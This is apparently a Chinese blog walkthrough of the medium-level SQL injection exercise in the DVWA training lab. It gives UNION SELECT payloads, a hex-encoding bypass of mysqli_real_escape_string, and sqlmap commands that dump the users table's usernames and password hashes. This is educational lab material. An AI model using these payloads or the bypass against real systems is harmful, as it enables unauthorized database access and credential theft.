[网络安全]DVWA之SQL注入—medium level解题详析

发布时间 2023-05-02 22:06:11作者: 秋说

免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。
本文涉及的DVWA应用程序、BurpSuite、sqlmap请读者自行安装,本文不再赘述。
SQL注入原理可参考:[网络安全]SQL注入原理及常见攻击方法简析

sqlmap注入方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap


提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。

判断漏洞类型

判断是否为数字型注入

  1. 使用hackbar进行POST:id=1 and 1=1 &submit=submit 回显如下:

在这里插入图片描述再POST:id=1 and 1=2 &submit=submit 无任何回显
说明该漏洞类型为数字型注入漏洞

  1. 使用BurpSuite进行POST

先抓ID=1的数据包
在这里插入图片描述在Repeater中修改ID参数为id=1 and 1=1 &Submit=Submit,回显如下:
在这里插入图片描述再将ID参数修改为id=1 and 1=1 &Submit=Submit 无任何回显
说明该漏洞类型为数字型注入漏洞

判断注入点个数

提交参数id=1 and order by 4
在这里插入图片描述说明注入点少于4个
不断尝试后得知注入点为2个

BurpSuite+sqlmap数字型注入

具体方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap
将拦截包另存为1.txt,放在sqlmap目录下
注意:在sqlmap中不需要考虑注入点的个数

爆数据库名

输入python sqlmap.py -r 1.txt(文件名,下同) -p id(参数名,下同) --dbs
在这里插入图片描述回显如下:
在这里插入图片描述

爆dvwa库的表名

输入python sqlmap.py -r 1.txt -p id -D dvwa(数据库名,下同) --tables
在这里插入图片描述回显如下:
在这里插入图片描述

爆users表的列名

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users(表名,下同) --columns
在这里插入图片描述回显如下:
在这里插入图片描述

爆列中的字段

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users -C user,password(列名) --dump
在这里插入图片描述回显如下:
在这里插入图片描述

基于POST请求的sqlmap数字型注入

查看是否存在注入点

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"
在这里插入图片描述回显如下:
在这里插入图片描述故注入点存在

查询数据库名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs
在这里插入图片描述回显如下:
在这里插入图片描述

查询dvwa库的表名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tables
在这里插入图片描述回显如下:
在这里插入图片描述

查询users表的列名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users --columns
在这里插入图片描述回显如下:
在这里插入图片描述

查询列中的字段

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dump
在这里插入图片描述回显如下:
在这里插入图片描述

基于POST请求的BrupSuite数字型注入

注意:在使用BurpSuite进行sql注入时,需要考虑注入点个数

查询数据库名

输入1 union select database()#
回显如下:
在这里插入图片描述可以看到 当sql语句中的注入点个数与判断出的注入点个数不相符时,攻击失败
输入1 union select 1,database()#
回显如下:
在这里插入图片描述

查询dvwa库的表名

输入1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
回显如下:
在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''dvwa'#' at line 1 您的SQL语法有错误;查看与MySQL服务器版本相对应的手册,了解在第1行“'dvwa'#'附近使用的正确语法

查看源代码:
在这里插入图片描述这行代码使用了PHP内置的 mysqli_real_escape_string() 函数对 $id 变量进行转义处理,以防止 SQL 注入攻击。
例如,如果 $id 变量包含如下字符串:
O'qiushuo
则调用 mysqli_real_escape_string() 函数时,将返回如下字符串:
O\'qiushuo
这样可以保证在 SQL 查询语句中使用 $id 变量时,不会因为包含特殊字符而出现 SQL 注入攻击等问题。

针对特殊字符转义的编码绕过

在 Web 应用程序中,当用户在浏览器中提交表单时,浏览器会对数据进行 URL 编码,然后再将编码后的数据发送到后端服务器上。
攻击者可利用编码方式将SQL 语句和特殊字符进行编码,以绕过应用程序中的安全检查和转义机制。常见的编码方式包括十六进制编码、Unicode 编码、URL 编码等。

十六进制编码

dvwa经十六进制编码后变为64767761
修改以上语句为1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
注意:要在64767761加上0x声明它为十六进制
在这里插入图片描述得到两个表名,guestbook和users

Unicode编码

dvwa的Unicode编码为\u0064\u0076\u0077\u0061
在这里插入图片描述由于mysql_real_escape_string() 函数转义了 \ 所以Unicode编码绕过失效

URL编码

网址规定了常用的数字、字母可以直接使用,另外一批作为特殊用户字符也可以直接用(如/ : @ '等),剩下的其它所有字符必须通过%xx编码处理。
由于字符串'dvwa'中所有的字符均不需要编码,所以URL编码绕过失效。

查询users表的列名

users的十六进制为7573657273
输入id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#
回显如下:
在这里插入图片描述

查询列中的字段

输入id=1 union select user,password from users#
注意:由于注入点为两个,所以不能输入id=1 union select 1,user,password from users#,否则该语句认为注入点是三个。
回显如下:
在这里插入图片描述

回显技巧

  1. 注入成功后,可选择响应中的页面渲染功能,将回显注入后的页面,直观清晰。

在这里插入图片描述在这里插入图片描述
3. group_concat函数

group_concat函数 是 MySQL 中的一个聚集函数,用于将指定列(或表达式)的值以逗号分隔的形式进行拼接。
举例如下:
输入id=1 union select 1,group_concat(user,password)from users#
回显:
在这里插入图片描述该图比上图更为简洁明了

总结

以上为DVWA之SQL注入—medium level解题详析,结合三种注入姿势分享SQL攻击知识。
后续会分享DVWA之SQL注入—High level攻击姿势及解题详析。
我是秋说,我们下次见。